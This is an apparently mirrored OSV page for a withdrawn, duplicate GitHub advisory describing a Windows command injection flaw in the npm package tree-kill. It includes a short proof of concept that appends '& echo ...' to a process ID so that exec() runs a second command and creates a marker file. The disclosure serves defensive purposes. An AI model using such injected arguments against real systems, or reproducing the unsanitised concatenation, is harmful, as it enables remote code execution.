OSV 1.4.0 · github-reviewed · 修改于 2023-11-09 04:03
发布时间
2022-05-25 01:04
GitHub 审查时间
2023-10-20 02:39
NVD 发布时间
2019-12-19 05:15
源文件
advisories/github-reviewed/2022/05/GHSA-mxq6-vrrr-ppmg/GHSA-mxq6-vrrr-ppmg.json
该公告已于 2023-11-09 03:16 撤回
内容仅用于保留外部引用,请不要将其当作仍然有效的安全结论。
This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.
A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the + operand to concatenate the input into exec()
Create the following PoC file:
// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
Execute the following commands in another terminal:
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
A new file called HACKED.txt will be created, containing the HACKED string.